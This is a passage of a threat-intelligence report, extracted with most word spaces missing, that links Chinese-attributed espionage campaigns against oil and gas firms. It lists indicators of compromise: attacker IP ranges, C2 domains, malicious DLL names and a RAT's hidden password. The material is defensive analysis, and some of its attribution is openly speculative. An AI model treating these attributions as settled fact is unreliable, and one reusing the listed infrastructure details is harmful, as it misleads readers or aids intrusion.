Theattackersoper- atedduringthe9:00amto5:00pmBeijingTimeandthyfollowedafairlystrictmethodologyof attack,similartotheonenotedintheNightDragonreport: 1.
Initialreconnaissance 2.
Initialcompromiseofasystem,largelythoughspearphishing 3.
EstablishingafootholdinthenetworkthroughTrojandroppingtoaC2server 4.
Escalatingprivilegesthroughcredentialharvesting 5.
Internalreconnaissanceofthenetworkand WhileMandiantgenericallyreferstoenergycompanies,oneofthetrojanedfilestheynote wasusedinthespearfishingattackbearsthenameOil-Field-Services-Analysis-And-Outlook.
zipwhichreallyties.
MandiantnotesthatAPT1isalsoreferredtoastheCommentGroup,a namegivenforthecommunicationsmethodusedbytheirRATswhichwouldsetattributesin webpagesasameansofC2.
Published:Feb19, 2013 Earliest Date:2004- 2006 Purpose:Exfiltrationofcompetitiveproprietaryoperationsandproject-financinginformation withregardtooilandgasfieldbidsandoperations Entry Method: Spear Phishing Countries with Companies Affected:Undisclosed 13 Campaign:ByzantineCandor Publisher:Bloomberg Synopsis:AnexposrunbyBloombergin2012chronicledtheundertakingsofasecurity researchcoalitionwhichdecidedtotrackoneofthelargestCyberEspionagegroupsoperating outofChina.
BloombergclaimsthatUSIntelligencehadbeenkeepingtabsonthegroupfor years,whichtheyreferredtoasByzantineCandor.
Inthesamebreath,Bloombergnotesthat thegroupisoftenreferredtoastheCommentGroup.
BloombergjournalistChloeWhiteaker alsopublishedashortbuttechnicalarticlethatdetailedsomeoftheCommentGroupsactivi- tiesandtools.
Thereportincludedaninfographicthatidentifiedoilandgasvictimsofthecom- mentgroup.
Published:July26, 2012 Earliest Date:2002 Purpose:thebiggestvacuumingupofU.S.proprietarydataeverseen Entry Method:SocialEngineering,SpearPhishing Countries with Companies Affected:U.S.,UnitedKingdom Report Based Attack Timeline Technical Similarities Betweenthecampaignsidentifiedabove,thereareafewtechnicalsimilaritiesthatarise.
Aswasalreadyad- dressed,theseattackshavebeenselectedforonecommonthreadtheysharetargetswithintheoilandgasindustry.
Otherbetweenthemwillnowbescrutinizedtofindanyadditionallinks.
Thisisnotintendedtosuggestthatthesame groupisbehindeveryattack,butratheridentifytacticalandoperationalsimilaritiesthatwouldpointtoaunifiedsource oftrainingorcontrol.
Oneofthemostobvioussimilaritiesbetweenalloftheattacksisthemotive:thelargescaletheftofcorporate data.
ThemethodologyofdataextractionisverysimilarbetweenNightDragon,ShadyRAT,Elderwood,APT1,andByz- antineCandor.
Onenoteonthisisthatalthoughtheattacksallfollowedasimilarmethodology,thisverymethodologyis commoninthenetworkpenetrationtworld,andsonotentirelyunique.
SlidesfromapresentationgivenbySANSaffili- ateJamesShewmakerin2008highlightthismethodologyinbrief:Reconnaissance,Port/VulnerabilityScan,Exploitation, andRepeatfromthenewvantagepoint.
Theonlythinglargelydifferentisthatthedataexfiltrationoccursafterexploita- tionthatandtheattackerswereworkingfromtheoutsideinitially,sotheyusedsocialengineeringtogetin.
Withthat 2002 201320122011201020092006200520042003 20082007 Byzantine Candor Red October The Elderwood Project APT1 Night Dragon Mirage ShadyRAT 14 saidthefactthatthemajorityoftheseusedhighlytargetedspearphishingandexfiltratedsimilardatausingRATsisnot tobediscounted.
Additionally,theseattacksallappeartobeoperatingoutofeitherBeijing,Shanghai,andShandong province.
ThedatabelowwillshowthatByzantineCandorandAPT1areoneinthesametheyshareoperators(Ugly Gorilla)anduniquetechnicalinfrastructurelikeFullyQualifiedDomainNames(FQDNs).MandianttiedAPT1backtothe PLA,anda.
MandiantevenacknowledgesthearticlewrittenbyBloombergintheirreport,andidentifiestheComment Groupasanalias IP Addresses Origins WhileabouthalfofthereportsomittedIPranges,themajorityofIPaddressrangesmentionedcamefrom serviceprovidedbyChinaUnicomtooneoftwolocales:BeijingorShanghai.
ThemajorexceptiontothisisRedOctober, whichlargelyhadIPaddressrangescomingfromGermanyandRussia.
ExcludingRedOctober,incaseswhereranges didnotcomefromBeijingorShanghai,theywereoftenidentifiedashostthatwerecompromisedandusedasproxies loadedwithtoolssuchasHTRAN.
NightDragon Elderwood Mirage RedOctober APT1 [unspecifiedIP rangemost C2servers operatingout ofHezeCity, China] 114.240.0.0/20 141.101.239.225 223.166.0.0/15 178.63.208.49 58.246.0.0/15 112.64.0.0/15 139.226.0.0/15 114.80.0.0/20 101.80.0.0/20 InterestinglyNightDragon,whichdoesnotprovidearangeofIPaddresses,offeredinsteadthatanindividualoperating outofHezeCity,Shandong,ChinawasresponsibleforprovidingtheC2serversthroughhiscompany.
Anarticlepublished intheWallStreetJournalnotesthatMcAfeeidentifiedthisindividualasSongZhiyue.3 Domains Afulllistofdomainsretrievedfromthevariousreportscanbefoundintheappendices.
Ofthedomainswhich appearedinthereports,onlymatchesbetweenAPT1andByzantineCandorwereidentified.
Therestwereinconclusive assomeofthereportsdidnotincludeFQDNsandotherswhichdidincludethemdidnotprovideafulllist.
Additionally,a largeportionoftheattacksmadeuseofDynamicDNSservices,wheretheparentdomainisnotinherentlymalicious.
But subdomainsmaybeusedbyservicesubscribersfortheirownpurposeswithoutpolicing.
Registered domains common be- tween APT1 Byzantine Candor .hugesoft.org www.arrowservice.net www.blackcake.net www.dnsweb.org www.globalowa.com www.purpledailt.com www.worthhummer.net www1.earthsolution.org 3 Hodge, N. Entous, A.
(Feb 10, 2011).
Oil Firms Hit by Hackers From China, Report Says.
Retrieved From http://online.wsj.com/article/SB10001424052748703716904576134661111518864.html 15 wwwt.infosupports.com Withthatsaid,thereisanothersomewhattenuousconnectionbetweentwoofthecampaigns:MirageandElderwood.
NightDragonisnottheonlyinstancewhereanindividualinChinaischargedwithprovidinginfrastructuretotheattack- ersviatheirbusinessHBGaryauthoredareportinthewakeofOperationAurorawhichimplicatedabusinesscalled Bentiumoperating3322.orgoutofChangzhouandamannamedPengYongasprovidingdynamicDNSservicestothe attackers.4OperationAurorawastiedtoElderwoodinSymantecsElderwoodProjectreportandelsewhere.
DellSecure- workswhichauthoredtheMirageReportalsoauthoredapieceknownastheSinDigooAffair.5Theconnectingfactor betweentheSinDigooaffairandMiragewasthatanoperatorreusedseveralemailaddresses(jeno_1980hotmail.com king_publichotmail.com)andinfrastructurebetweenthem.
TheC2serversusedaDynamicDNSserviceoperatedby 3322.org.
TheSinDigooAffairalsotiesthesebacktoGh0stNetvia3322.organdtheRSAbreachbasedonthereuseof IPaddressblocksbelongingtotheChinaBeijingProvinceNetwork(AS4808).PengYongalsoownsotherdomainstied backtomalicioususebothinAuroraandelsewhere.
AccordingtoSteveRaganoftheTechHerald,PengYongispossibly theauthoroftheCRCfunctionusedinsomeoftheAuroramalware.6 Itisentirelypossiblethat3322.orgwasprovidingservicestomultipleseparateAPTgroups,itisafterallafairly successfullyDynamicDNSservicewhichhasbeendocumentedinothermalwarecases.
However,Pengslevelofin- volvementintheAuroracampaignshouldbescrutinized.
InterestinglytheSinDigooreportalsoattemptstoidentifythe jeno_1980accountwhichhadthealiasTawnyaGrilithattachedtoit.
Intheprocessoftheirinvestigation,theytied backtheaccounttoanoperatorgoingbythescreennamexxgchappy.
Theyalsofoundapieceofmalwareostensibly writtenbyxxgchappyappearingtodatebacktoMarchof2002.Thisispotentiallysignificantbecauseitisthetimeframe aroundwhichtheleakedUSembassycablehadnotedpossiblePLAcyberespionageactivity.
Malwareusedbythisactor, aswellasappearinginMirageandGh0stNet,wasdiscoveredin2011and2012tohaveinfectedgovernmentministriesin Vietnam,Brunei,andMyanmar.
AdditionallythereareafewinfectedvictimsinEuropeandtheMiddleEastbelongingto governmentministriesindifferentcountries,anembassy,anuclearsafetyagency,andotherbusiness-relatedgroups.7 ThisisofinterestinpartbecauseRedOctoberalsotargetedgovernmentministriesandembassies.
However,inordertomorefullyanalyzeanyconnectionsbetweenthedomainsthatwerelistedineachofthe reports,thewhoisandARINrecordscouldbeexamined.
Thecontactinformationcouldthenbecross-referencedtofind similarities.
Unfortunately,manyofthedomainshadtheircontactinformationscrubbedorhavesincechangedhandsin thewakeofthereportsbeingreleased,soananalysisatthispointwouldbeerroneousandincompleteatbest.
AfinalnoteondomainsisthatmanyofthereportsdidlookforregistrantinformationinthecaseofAPT1for instance,manyregistrantsblatantlyputChinaastheirplaceoforigin,orpoorlymaskedthisfactbymisspellingtheplaces theychoseorincludingaShanghaiphonenumber.
InthecaseofRedOctoberhowever,allregistrationswiththeexcep- tionofoneweredonewith.ruemailaddresses,andaddresseswerenotreusedashadbeenthecaseinotherinstanc- es.
Thissignalsamuchmoreconcertedefforttoremainanonymous,andalevelofprofessionalismnotseenintheother attacks.
4 HB Gary.
(
Feb 10, 2010).
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Operation Aurora.
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data/reports_final/0151.txt
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Operation Aurora.
Retrieved From http://hbgary.com/hbgary-threat-report- operation-aurora 5 Stewart, J.
(Feb 29, 2012).
The Sin Digoo Affair.
Retrieved from http://www.secureworks.com/cyber- threat-intelligence/threats/sindigoo/ 6 Ragan, S. (Jan 27, 2010).
Was Operation Aurora really just a conventional attack?
Retrieved from http:// www.thetechherald.com/articles/Was-Operation-Aurora-really-just-a-conventional-attack/9124/ 7 Stewart, J.
(Feb 29, 2012).
The Sin Digoo Affair.
Retrieved from http://www.secureworks.com/cyber- threat-intelligence/threats/sindigoo/ 16 Revised Attack Timeline Considering the information which was discussed and presented, below is a revised attack timeline, consolidating indi- vidual campaigns into the likely perpetrator of the attack and extending as necessary.
Events that Correlate Using the technical data and behavioral analysis above, individual incidents of reported hacking in news media can be connected to campaigns.
Below are several incidents that demonstrate strong correlation to the information discussed above.
Norway,November2011 Norwayhadthemostprolificseriesofcyber-attacksinthecountryshistoryinNovember2011.8Asreported byNorwaysNationalSecurityAgency(NSM),morethan10firmsweretargetedbyanadvancedpersistentthreatusing spear-fishingattacks,manyofwhichwereintheoilindustry.9Theattacksmayhavebeenongoingforoverayear.
The companieswereunawareoftheattacksuntilconcernedemployeesreportedreceivingsuspiciousemails.
Nospecificinformationwasreleasedonthetoolsormalwarethatwereusedtoconducttheseattackshowever NSMnotedthataviruswasusedinconjunctionwithtailoredspear-fishingattacksmakinguseoftrojanattachments.10 Itappearedthatthepurposeoftheattackswaslarge-scaledataexfiltration.
AswasthecaseinNightDragon,theNSM bulletinsuggeststhattheattacksvariedslightlyeachtimesoastoavoidAVdetection.
AnarticlebyDefenseNewsquotes NSMasstatingthattheattackshave,onseveraloccasions,comewhenthecompanieshavebeeninvolvedinlarge-scale contractnegotiations.11Thiscouldsuggestthattheattackerswereprivytothenegotiations.
Interestingly,in2010Nor- waysStatoilwasengagedinnegotiationswithChinaOilfieldServices,Ltd.
(COSL).AccordingtotheWallStreetJournal, COSListheoil-fieldservicesandrig-constructionunitofstate-controlledChinaNationalOffshoreOilCorp.
,thecountrys 8 BBC News.
(
2011, November 18).
Hackers attack norways oil, gas, and defence businesses.
BBC News Technology.
Retrieved from http://www.bbc.co.uk/news/technology-15790082 9 France-Presse, A.
(2011, November 18).
Norwegian defense firms hacked, intel reports.
Defense News.
Retrieved from http://www.defensenews.com/article/20111118/DEFSECT04/111180309/Norwegian-Defense- Firms-Hacked-Intel-Reports 10 NSM (2011) Samme aktr bak flere datainnbrudd .
Retrieved From https://www.nsm.stat.no/Aktuelt/ Nytt-fra-NSM/Samme-aktor-bak-flere-datainnbrudd/ 11 France-Presse, A.
(2011, November 18).
Norwegian defense firms hacked, intel reports.
Defense News.
Retrieved from http://www.defensenews.com/article/20111118/DEFSECT04/111180309/Norwegian-Defense- Firms-Hacked-Intel-Reports 2002 201320122011201020092006200520042003 20082007 PLA Unit 61398 [APT1, Byzantine Candor] The Elderwood Project The Beijing Group [Mirage] Red October Night Dragon ShadyRAT 17 largestoffshoreoilandgascompanybyoutput.12 Thegoaloftheattacksappearedtobethecollectionofconfidentialinformation,suchasusernames,passwords, industrialdrawings,andotherproprietarydocuments.13Thiswouldseemtobeconsistentwiththetypesofinforma- tionsoughtinbothNightDragonandAPT1.ThetimeframeoftheattackalignswiththeeventtimelinelistedintheAPT1 report,andwithinthereportthereisaneventappearinginNorway.
Thisisthenaconvergenceoftimeandobjectives acrosstheseoperationswhichcomplementthetacticalsimilaritiesinvolvingtheuseofsocialengineering,persistent backdoors,andlargescaledataexfiltration.
Telvent,September2012 InSeptember2012CanadianenergycompanyTelventwasinfiltrated.
Telventisresponsibleforsupplyingcontrol programsandsystemsforoverhalfoftheoilandgaspipelinesinNorthandLatinAmerica.14Theattackersinstalledmal- warewhichtheyusedtostealprojectfilesrelatedtoTelventsOASySSCADAproduct.
AccordingtosecuritybloggerBrian Krebbs,OASySisaproductthathelpsenergyfirmsmesholderITassetswithmoreadvancedsmartgridtechnologies.
15 TheinfiltrationfollowsthesamemethodicalapproachexhibitedintheNightDragonandNorwegianintrusions.
Notonlywasthemalwaredifficulttodetect,butitwasplantedusingspear-phishingmethodsthattargetedmidtohigh levelexecutives16 17.
Perhapsthemostconvincingpieceofevidenceastotheoriginsoftheattackiswhatappearstobeanotifica- tionreleasedbyTelventwhichidentifiedmaliciousfilesanddomainsusedforCommandandControl(C2).Thefilenames fxsst.dllandntshrui.dllwhichappearintheTelventnotificationalsoappearintheAPT1report,alongwiththe domainshugesoft.organdbigish.netwhicharenotedasmainstaysofAPT1byMandiant.
Severalsecurityfirmsat thetimealsoreportedthebeliefthattheattackhadbeenperpetratedbythecommentgroupanaliasintheMandiant ReportforAPT1.Infact,MandiantactuallymentionedtheTelventattackintheirreportunderasectionentitledAPT1in theNews.
ThereasontheTelventattackissoimportantisthatitrepresentsthepossibilityfordeparturefromsimplydata exfiltration.
Althoughavailableinformationindicatesthatthegoaloftheattackwasstealingsoftware,thesoftwarecould justhaveeasilybeenmodifiedandreplaced.
AttackingaprolificenergyICScompanylikeTelventmeansthatatrojan couldbeplantedinthesoftware,beingunintentionallydistributedtoTelventscustomersandofferingtheperpetratoran avenueformoreinsidiousattacks.
12 Simon Hall (2013, December 13).
China,NorwayStrikeOilDealDespiteTensions.
Wall Street Journal.
Retrieved from http://online.wsj.com/article/SB10001424052748703727804576016841533225226.html 13 Ibid.
14 Vijayan, J.
(2012, September 26).
Energy giant confirms breach of customer project files.
Computer- world.
Retrieved from http://www.computerworld.com/s/article/9231748/Energy_giant_confirms_breach_of_ customer_project_files 15 Krebs, B.
(2012, September 26).
Chinese hackers blamed for intrusion at energy industry giant telvent.
Retrieved from http://krebsonsecurity.com/2012/09/chinese-hackers-blamed-for-intrusion-at-energy-industry- giant-telvent/more-16936 16 Vijayan, J.
(2012, September 21).
Cyber espionage campaign targets enery companies.
Computerworld.
Retrieved from http://www.computerworld.com/s/article/9231596/Cyber_espionage_campaign_targets_energy_ companies 17 Ibid.
18 Attribution China PerhapsthemostreadilyapparentattributionistoChinaasastateactortheAPT1reportmakesaconvincing argumentforthiswhichoffersalotofverywellconstructedcircumstantialevidence.
NightDragonhighlightstheuseofa RATknownaszwSheelwhichwasusedbothasatoperformC2andtocreatecustomtrojans.
Interestingly,uponlaunch zwShelldisplaysanerrordialogwithahiddentextfieldandtheprogramwillnotfunctionunlessthepasswordzw.china isenteredintothishiddentextfield.
TherangesofconsecutiveIPaddressesusedwerelargeenoughthatitislikelythat theChinesegovernmenthadtobeinvolvedinsomecapacity.
ChinacertainlypossessesthemotivetocommittheattacksaccordingtotheWashingtonTimes,Chinais alreadysurpassingtheUnitedStatesasthenumberoneoilimporterfromtheMiddleEast18,andpoisedtobecomethe numberoneoilimporterglobally.
IncreasingDemand Chinesedemandforoilhasgrowndramaticallyasitseconomycontinuestoexpand.
Sincethemid-1990s,China hasbeenanetimporterofoil.19ThecontinuousgrowthoftheChineseeconomyhasresultedinvastincreasesinthe needforfuelandpetroproducts.
Chinahasdoubleditsoilconsumptioninthelast10yearsandbecomethesecond largestconsumerofoilintheworldbehindtheU.S.20LiketheU.S.,Chinaisnowdependentonitsoilimportstofeedits thrivingeconomy.
ItisestimatedthatChinasimportdependencycouldrisetoover50by2020.1 Chinasoilrefineriesarenotcapableofhandlingthecurrentdemandtheeconomyisplacingonthem.
Thereis evidencethattherefineriesusedforfuelareatacompetitivedisadvantagewhencomparedtoothercountries.
Tocom- plicatematters,manyChineseoilrefineriesarealsoorientedtothemakingofdieselandnotgasoline,whichisinincreas- ing demand1.
ThismeansChinaisingreatneedofmoresourcesofoilandmoreefficientrefineries.
Thedevelopmentofim- provedrefiningandminingequipmenttakesyearsandcancostmillionsofdollars.
Explorationcostsforfindingnewoil reserveshavealmosttripledinthepastdecade.21Theycouldsavebillionsofdollarsandshaveyearsofresearchoffby acquiringtechnologyfrompetrochemicalcorporationsthatarealreadyheavilyinvestedinthiscontinuingprocess.
Italso meansthatChinawouldbeabletocompeteintheglobalmarketplacemuchsoonerandmorecompetitivelythanifthey waitedtodevelopthetechnologyontheirown.
ThisestablishesthattherearesignificantreasonsforChinatoacton behalfofitsownoilindustryanduseitsstateresourcestoconductcyber-attacksagainstcorporateentitiesworldwide.
18 Hill, P. (March 14, 2013).
China poised to top U.S. as oil buyer increased car sales spur jump.
Retrieved from http://www.washingtontimes.com/news/2013/mar/14/china-poised-to-top-us-as-top-oil-buyer/?pageall 19 Skeer, J.
(2007).
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China on the move: Oil price explosion?.
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China on the move: Oil price explosion?.
Energy policy, 35(1), 678-691.
http://discover.lib.purdue.edu:3210/purdue?ctx_verZ39.88-2004ctx_encinfo3Aofi2Fenc3AUTF-8ctx_tim2013-03- 09T153A593A35ISTurl_verZ39.88-2004url_ctx_fmtinfofi2Ffmt3Akev3Amtx3Actxrfr_idinfo3Asid2Fprimo.
exlibrisgroup.com3Aprimo3-Article-wosrft_val_fmtinfo3Aofi2Ffmt3Akev3Amtx3Arft.genrearticlerft.
atitleChina20on20the20 20 Index Mundi, (2012).
Country comparison Oil consumption Top 10.
Retrieved from http://www.
indexmundi.com/g/r.aspx?v91t10 21 Johnson, C., (2010).
Oil exploration costs rocket as risks rise.
Retrieved from http://www.reuters.com/ article/2010/02/11/us-oil-exploration-risk-analysis-idUSTRE61A28X20100211 19 ChinasOilProduction ChinasOilProductioninThousandsofBarrelsperDay22 Asseeninthechartabove,Chinaexperiencedasignificantincreaseinoilproductionduring2009.Thisspikein productioncouldbeduetoinformationthatChinagainedfromUSfirmsthroughcyberespionageactions,suchasNight Dragon.
TheNightDragonattackswerebelievedtohavebeguncirca2007.AccordingtoKirk,informationtakenduring theseattacksincludesmarketintelligencereportsandinformationonoperationalproductionsystems.23 Similarly, the MandiantreportshowsthattheAPT1grouphasmonitoredMandiantsenergyindustrycustomersfromapproximately thebeginningof2009to2012.24Duringtheseattacks,APT1wouldexportterabytesofdatafromthevictimstoChina.
Intandemwiththeserevelations,Chinasalsoaggressivelypursuedoilsupplycontractsduring2009.25Duringthistime majorChinesestateoilcompaniesacquiredholdingsin18differentcountries.
Chinaisdeterminedtotakeonoilandgas infrastructuredevelopmentandtoacquireoilindustryassets.26 AlthoughthereisevidencethatChinahasbeenconductingcyberespionageactivitiesagainstoilindustrytargets asfarbackas2007,thereisonlytrivialgrowthuntil2009.Thiscouldbearesultofthetimeandrecoursecommitment requiredtoprocessthedatathatwasacquired.
Asmentioned,boththeNightDragonandAPT1attacksstoleanenor- mousamountofdatafromEnglishspeakingcompanies.
ItisnecessaryforEnglish-fluentoperatorstosiftthroughthis dataandextractactionableinformationtoreport.
Thisinformationwouldalsoneedtobeprovidedtoexpertsinthe fieldwhocouldrecognizetheitsvale,andthatprocesswouldhavetobedonediscreetlysoasnottoarousesuspicions.
Thiswouldtaketime.
TheMandiantreportcommentsonthefactthattherearelimitedEnglish-fluentoperatorsdirectly involvedinthetechnicalendofAPT1,whichwouldsignificantlyhinderprogress.27Consideringthesefactorsandthe timeframeforgrowthpresentedabove,itisconceivablethattheinformationandstrategyforitsusewouldnotbeavail- ableuntil2009.Atthispoint,Chinacouldacttoincreasetheoutputoftheholdingsthattheycurrentlyowned.
Also,the informationgainedfrommarketintelligencereportsandpossiblyexplorationreportscouldguidethestatecompanies indecidingwhichnewholdingstopurchaseduringthistimeperiod.
Thenewholdingswouldallowforincreasedoutput overall.
ChinasInvestments Chinasfervorforoilacquisitionhasnotbeenlimitedtoaggressiveincreasesinholdingsandcontracts.
Theseac- tivitiesarelikelyonlyonepieceofaglobalstrategytosecureChinasfutureoilrequirements,includingreservesthatmay notbeproductivetodayorintheimmediatefuture.
Thisoverarchingstrategyhasapparentlyledtoapatternofquiet investment,whichmaybeadirectcauseforconcerninAmerica.
AnarticleappearingintheAssociatedPressdiscusses theseChineseinvestmentsinVenezuela,thecountrywiththelargestprovenoilreservesasof2011,andthroughoutthe CaribbeanandSouthAmerica.
ThearticlenotesthatwhenVenezuelaseizedbillionsofdollarsinassetsfromExxonMo- 22 U.S. Energy Information Administration.
(2013, February 12).
International Energy Statistics [Data file].
Retrieved from http://www.eia.gov/cfapps/ipdbproject/iedindex3.cfm?tid5pid53aid1cidCH,syi d2006eyid2012unitTBPD 23 Kirk, J.
(2011, February 10).
Night dragon attacks from china strike energy companies.
Retrieved from http://www.networkworld.com/news/2011/021011-night-dragon-attacks-from-china.html 24 Mandiant.
(
2013, February 18).
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APT1: Exposing one of Chinas cyber espionage units.
Retrieved from http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf 25 Hayward, D.L.L.
(2009, June 18).
Chinas oil supply dependence.
Journal of Energy Security.
Retrieved from: http://www.ensec.org/index.php?optioncom_contentviewarticleid197:chinas-oil-supply-dependen cecatid96:contentItemid345 26 Ibid.
27 Mandiant.
(
2013, February 18).
APT1: Exposing one of Chinas cyber espionage units.
Retrieved from http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf 20 bilandotherforeigncompanies,Chinesestatebanksandinvestorsdidntblink.
Overthepastfiveyearstheyhaveloaned Venezuelamorethan35billion.
TheyhavesimilarlyprovidedaidtocountrieslikeEcuador,anothercountrywithinthe top20ofprovenoilreserves.
InsomecasesitappearsthattheChinesearemakingloansthatthecountrieswilllikelybe incapableofrepaying,placingthemsquarelywithinChinascontrol.
Manyofthedealsincludedrepaymentinoiland naturalgasandbillionsofdollarshavebeenloaneddirectlytoenergycompaniesinRussiaandTurkmenistan,bothof whichhavebeentargetedincyberespionagecampaignsandareinthetop5forprovennaturalgasreserves.
AlthoughtheIEAhaspredictedthatAmericaismovingtowardsenergyindependenceandispoisedtobecome thenumberoneoilexporterby2017,theloansarebreedingclosenesswithandrelianceonChinabycountriesinclose proximitytotheUS.ThiscouldallowfortheChinesetoweakenAmericaninfluenceintheregionandcreateagitation againsttheUSorbetweenothercountrieswithintheregioninordertodistracttheUSfromitsgoalsinotherareasstra- tegictotheChinese.
ThesedealsalsoplaceChinainthesupplychainforborrowersprojectswhereChinahasinsisted onChinesecompaniesbeinginvolvedasastipulationoftheloan.
Theseloanshavenotrequiredanyeconomicreforms toaccompanythem,meaningthatcountrieswhichcouldnotsecurealoanfromtheIMFduetopoorfinancialdecisions maycontinuetoflounderinspiteofaid,perhapsevenmoresobecauseofit.
Intheworstcasescenario,thesecountries becomeunstable.
WhilethismaycauseissuestotheChineseinsomelogisticalcapacities,itwouldalsoservetodivert someofAmericasattention,makingthesituationapalatableoutcomeforChina.
Other actors Ananalysisoftheseeventswouldberemisswithoutexploringanyotherpossibleattribution.
Thoughunlikely, itispossiblethattherewereotheractorsinvolved.
AspointedoutbyEugeneKasperskyinhiscriticismoftheShadyRAT report,someofthetoolsandtechniquesaregenericenoughtonotlendthemselvestoattributiontoaparticularentity.
EventheonesthatareofChineseorigindonotofthemselvesimplicatetheChinesegovernment,onlyanactorfamiliar withhowthetoolworksorminimallytrainedinMandarin.
Alargeportionofthesetoolswerefreelyavailableonunder- groundChinesehackingsites.
Chinesehackingcollectivesorcorporationsmayhavebeenindependentlyinvolved.
How- ever,duetothesuspicionsvoicedintheleakeddiplomaticcablessuggestingPLAinvolvement28andMandiantsresearch onthetopicindicatingthesame29,itishighlyunlikelythattheChinesegovernmentwasnotinvolvedwhatsoever.
These sources,andthetimeframeinwhichtheattacksoccurred--betweenroughly9amand5pmconsistentlyoveraprotract- edperiodoftime3031--isindicativeofaformalizationoftheactivity.
Thisisfurtherevidencedbytheresourcesrequired tocarryouttheattackandtheChinesegovernmentsgraspsoncensorshipoftheircitizensthroughtechnicalcontrols.
Terabytesofdatainfiltratingthecountryisunlikelytohavebeenmissed,particularlyoverthecourseofadecadeof activity.
IfChinahadbeeninvolvedinanycapacityincyberespionageattacksandthishadbeendiscoveredbyanother entity,saidentitymighthaveleveragedthisknowledgetocolludewiththemeitherthroughcoercion,cooperation, orclandestinelywithouttheChinesegovernmentknowing.
Thoughthismayseemfarfetched,areportreleasedbya Luxemburgsecurityfirmdetailshow,inthewakeofMandiantsAPT1report,theydecidedtoengageinanintelligence gatheringoperationontheAPTgroupsoperatingoutofChina.
ByscanningChineseIPrangesforC2serversknowntobe usedintheAPT1attacksandexploitingweaknessesintheattackersC2infrastructure,theywereabletoaccess,monitor, andcontroltheAPTinfrastructurewithouttheadversarysknowledge.
BloombergalsohintedatthepossibilityofAmeri- cansecurityfirmsactinginasimilarwaywhentheyexploit[ed]aholeinthehackerssecurityloggingtheintruders everymoveastheycreptintonetworks...KnowingthattheChinesewereactivelyengagedinsuchoperationsandlikely turningablindeyetoanyinfiltrationofdata,anotheractoroperatingthroughChinaandattemptingtoincriminateChina couldhaveengagedincyberespionageaswell.
Thisistrulyastretchoftheimagination,andthereisnoevidencewhat- soevertosupportthistheory.
ThemostlikelycaseforanyattributioninvolvestheChinesegovernmentinsomecapacity.
28 Glanz, J. Markoff, J.
(Dec 4 2010).
Vast Hacking by a China Fearful of the Web.
Retrieved from http:// www.nytimes.com/2010/12/05/world/asia/05wikileaks-china.html?pagewantedall_r0 29 Mandiant.
(
Feb, 2013).
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APT1: Exposing One of Chinas Cyber Espionage Units.
Retrieved from http:// www.mandiant.com/APT1 30 Ibid.
31 McAfee Foundstone Professional Services and McAfee Labs.
(
Feb 10, 2011).
Global Energy Cyberat- tacks: Night Dragon.
Retrieved from http://www.mcafee.com/us/resources/white-papers/wp-global-energy- cyberattacks-night-dragon.pdf 21 Significance Going Forward ThemostimportanttakeawayfromtheseincidentsisthesignificancetheyholdtothefutureoftheOilGas industry.
Inexorably,OilandGasisintertwinedwiththeCyberdomain,andwillonlycontinuetobecomemoresoasthe timeprogresses.
Theincreasedrelianceontechnologymeansthatmoreandmoredataandcontrolwillbeaccessibleto theattackersinthefuture.
Alargecontingentoftheattacksreliedonsocialengineeringandspearphishingasapoint ofentry,thoughthereisashifttowardwateringholeattacks.
Thisissignificantbecauseevenastechnicalcontrolsget better,unwittingemployeesandtheirbehaviorwillcontinuetobeafocalpointintargetedattacks.
AutomationviaSCADA/ICShasbeenanintegralpartoftheOilindustryspastandwillbeevenmoresointhefu- ture.
AttacksliketheTelventattackheraldaninsidiousturnofeventsforSCADAwithinOilGas.
Theattackersseemed intentonstealingSCADAsoftware,butitisconceivablethattheycouldhavetakensuchanopportunitytoembedtheir owncodewithinit,providingacapabilitytomanipulatelargeswathsofNorthAmericanpipelineatwill.
Thisisnot meanttobealarmist,butratherconsidersthenextevolutionofattack.
LeveragingmaliciousSCADAsoftwaretoachieve akineticoutcomeisnotthebaselinegoingforward,butitiswellwithintherealmofpossibility.
Thenatureofacapabil- itylikethismeansthatitcanonlybeleveragedtocatastrophiceffectonce,sothepossibilityofanentityusingitoutside ofsustainedorardentconflictislow.
Howeverusingthisonamicro-scale,anddegradingserviceorqualityofservice throughmanipulationofmalicioussoftwareonthePLCsorHMIscouldbemoreviableinapeacetimesetting,andless noticeable.
Thistypeofactivitycouldbeusedattheheightofnegotiationsordisputestoputanadversaryinacompro- misingposition,orsimplydistractthem.
TheCyber-warfaredoctrineoflargenation-stateslikeChinaandRussiathathaveahugestakeintheOil GasIndustriesisoneofperpetualconflict.
TimothyThomasdiscussesthisinhisbooksRecastingtheRedStarandThe DragonsQuantumLeap.
Theideaofanactivedefenseandkeepingpotentialcompetitorsoffbalanceistheposture goingforward.
Theconceptofpeacebeingatimewithoutconflictisrapidlydisappearing.
Asglobalizationhasbecome thestatusquoandglobaleconomiesbecomeevermoreentangled,threatofalarge-scalekineticconfrontationbetween toptiereconomicpowerhousesisnearlystrategicallyunviable.
Instead,bothstateandnon-stateactorswilluseconstant conflictintheCyberrealmasamethodforaccruingresourcesandexercisingcontrol.
Whilecyberconflictoftenbrings tomindtheideaofSCADAinitiatedpipelineexplosions,thetheftofintellectualpropertyandbusinesscommunications isfarmorelikelytocontinue.
Thistypeoflowintensityconflictiscost-effectiveandpoliticallysustainableinanenviron- mentwheredirectattributionisattimesdifficult.
Theideaofaconstantorlongtermallyorstrategicpartnerisno longervalidcoordinationwillbelargelyissuespecific,andonlytotheextentrequiredtoachieveanend.
Whilecoor- dinatingononetopicnationswillbeinconflictonanother.
Thisisnotinanywayarevolutionaryornewideahowever itisbecomingmoreandmorerelevanttosalientindustriesoperatingwithintheirownnationstateandabroadasthey becomefarmoreaccessibleandtargetableinthistypeofconflict.
Non-stateactorswillplayahugeroleinfuturecyberconflictwithintheoilandgasindustry.
TheNorwayattack whichcoincidedwithameetingbyastate-backedOilGascompanymaysuggestthattheyalreadyareplayingarole.
CertainlyAntivirusIncidentResponsecompaniesareplayingaroleasnon-stateactorsbyreleasingthesereports.
But asidefromcooperationwithSateactors,non-stateactorsmayoperateindependentlyagainstothernon-stateactorsin pursuitofcompetitiveadvantageorsabotage.
Hackercollectiveslikeanonymouscouldhaveanout-sizedimpactifmore highlyorganized,andtheattackstheyhavealreadycarriedoutcouldbecomemoresevereinsteadofsimplyreleasing emailaddresses,theycouldreleasebiddata,orattemptsomethingmoredestructiveakintoaShamoontypeattack.
ThereleaseofreportsonAPTisinawayitsownformofcyberconflicttherhetoricofthesereportsisaninfor- mationinfluenceoperation,bothtargetedatpotentialcustomersandatadversaries.
